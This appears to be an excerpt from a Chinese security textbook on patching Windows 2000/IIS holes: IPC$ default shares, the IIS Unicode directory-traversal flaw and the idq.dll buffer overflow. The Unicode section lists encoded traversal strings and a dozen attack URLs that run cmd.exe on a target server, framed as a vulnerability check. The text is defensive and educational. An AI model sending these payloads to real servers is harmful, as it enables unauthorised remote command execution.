黑客攻防技术内幕-安全漏洞与修补(3)
4.2.2 IPC$共享漏洞的防范
Windows 2000安装好以后,系统会创建一些隐藏的共享。例如入侵者基于139端口,通过IPC$建立远程空对话连接,或是通过穷举来破解管理员密码入侵系统。微软声称这是为管理而设置的,但这却使服务器的安全又增加了一道安全隐患,
要禁止这些共享,打开【管理工具】→【计算机管理】→【共享文件夹】→【共享】,在相应的共享文件夹上右击,从弹出的快捷菜单中选择【停止共享】命令即可。不过在计算机重新启动后,这些共享又会重新开启用。接下来看一下如何永远禁用这些默认共享。
(1) 运行命令提示符(cmd.exe),在命令提示符下输入如下命令:
net share
运行结果如图4-9所示。
图4-9 查看默认共享
命令解释:
查看本机的默认共享。
(2) 在命令提示符下输入如下命令:
net share ipc$ /delete
运行结果如图4-10所示。
命令解释:
删除ipc$共享。
(3) 逐步使用net share命令,删除c$、d$、e$、f$和admin$共享。
(4) 接着在命令提示符下输入如下命令:
net stop server /y
运行结果如图4-11所示。
命令解释:
停止Server服务,该服务提供 RPC 支持、文件、打印以及命名管道共享。
图4-11 停止Server服务
(5) 运行注册表编辑器,找到如下键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
修改注册表键值【AutoShareWks】的Dword值为00000000。
修改注册表键值【AutoShareServer】的Dword值为00000000。
(6) 完成对默认共享的删除操作。
4.2.3 UNICODE漏洞修补
1. 了解UNICODE
● 简单了解:UNICODE漏洞也叫做目录遍历漏洞,受影响的系统如下:
Microsoft IIS 5.0
Microsoft Windows NT 2000
Microsoft IIS 4.0
Microsoft Windows NT 4.0
Microsoft BackOffice 4.5
Microsoft Windows NT 4.0
Microsoft BackOffice 4.0
Microsoft Windows NT 4.0
此漏洞由于入侵者利用服务器扩展UNICODE字符取代“/”和“\”“../”,使服务器目录遍历出现漏洞。未经授权的用户可能利用IUSR_servername账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都有可能被删除、修改或执行,就如同合法用户成功登录所能执行的操作一样。
● 深入了解
UNICODE能够使任何语言的字符都可以更容易地被计算机接受,UNICODE由UC(UNICODE协会)管理并接受其技术上的修改。包括Java、LDAP、XML这样的技术标准中均要求得到UNICODE的支持。UNICODE的字符被称为代码点(CODE POINTS),用U后面加上XXXX来表示,其中X为十六进制的字符。
关于中英文版本的IIS UNICODE编码如表4-1所示。
表4-1 中英文IIS UNICODE编码
操 作 系 统 | ISS UNICODE编码 | |
中文 Windows 2000 | ..%c1%1c.. | ..%c1%1c../..%c1%1c../..%c1%1c.. |
..%c0%2f.. | ..%c0%2f../..%c0%2f../..%c0%2f.. | |
..%255c.. | ..%255c../..%255c../..%255c.. | |
英文 Windows 2000 | ..%c0%af.. | ..%c0%af../..%c0%af../..%c0%af.. |
Windows NT 4.0 | ..%c1%9c.. | ..%c1%9c../ ..%c1%9c../ ..%c1%9c.. |
2. 检测UNICODE漏洞
这里用简体中文版Windows 2000进行检测,其windows NT服务器版本可以根据其UNICODE
编码进行检测。
在地址栏输入如下其中之一的内容:
http://目标机/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
http://目标机/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
http://目标机/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://目标机/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\
http://目标机/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
http://目标机/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
http://目标机/_vti_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
http://目标机/_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+di
http://目标机/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../wnnt
/system32/cmd.exe?/c+dir+c:\
http://目标机/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://目标机/msadc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
输入以上任意一条向服务器请求内容,可出现的结果就是服务器目录遍历,如图4-12所示。
图4-12 UNICODE漏洞
入侵者可以利用此漏洞和相关软件,得到Administrator组的权限。但现在网上还有约30%的主机存在此漏洞,因此UNICODE漏洞应该引起管理员的重视。
3. 修补UNICODE漏洞
● 下载相应补丁程序程序:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
● 临时解决办法
以Windows 2000为例:将winnt\system32下的cmd.exe程序使用权限设置为Administrator组,将文件夹Scripts、msadc、_vti_bin改名。
4.2.4 IDQ漏洞修补
涉及程序:Index Server 和 Indexing Service。
描述:利用微软 idq.dll 缓冲区溢出漏洞取得系统管理员权限
微软发布安全公告,指出其Index Server和Indexing Service 存在漏洞。作为安装过程的一部分,IIS 安装了几个ISAPI扩展.dlls。其中的idq.dll存在问题,它是Index Server的一个组件,对管理员脚本(.ida文件)和Internet数据查询(.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以SYSTEM身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。
注意:
● 安装了Index Server 或 Index Services,但是没有安装 IIS 的系统无此漏洞。
● 即使 Index Server/Indexing Service 没有开启,但是只要对 .idq 或 .ida 文件的脚本映射存在,攻击者也能利用此漏洞。
受影响平台:
Windows NT 4.0
Windows 2000
Windows XP Beta
受影响版本:
Microsoft Index Server 2.0
Indexing Service in Windows 2000
解决方案:
方案1 下载安装补丁程序。
Windows NT 4.0的补丁下载网址:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833
Windows 2000 Professional/Server/Advanced Server的补丁下载网址:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800
Windows 2000 Datacenter Server此版本补丁程序和硬件相关,请用户和原始设备供应商联系。
Windows XP beta:在正式版本会得到解决。
方案2 删除对 .idq 和 .ida 的脚本映射,如图4-13所示。
图4-13 删除IDQ脚本映射
注意:
如果其他系统组件被增删,有可能导致该映射被重新自动安装。建议打上补丁程序。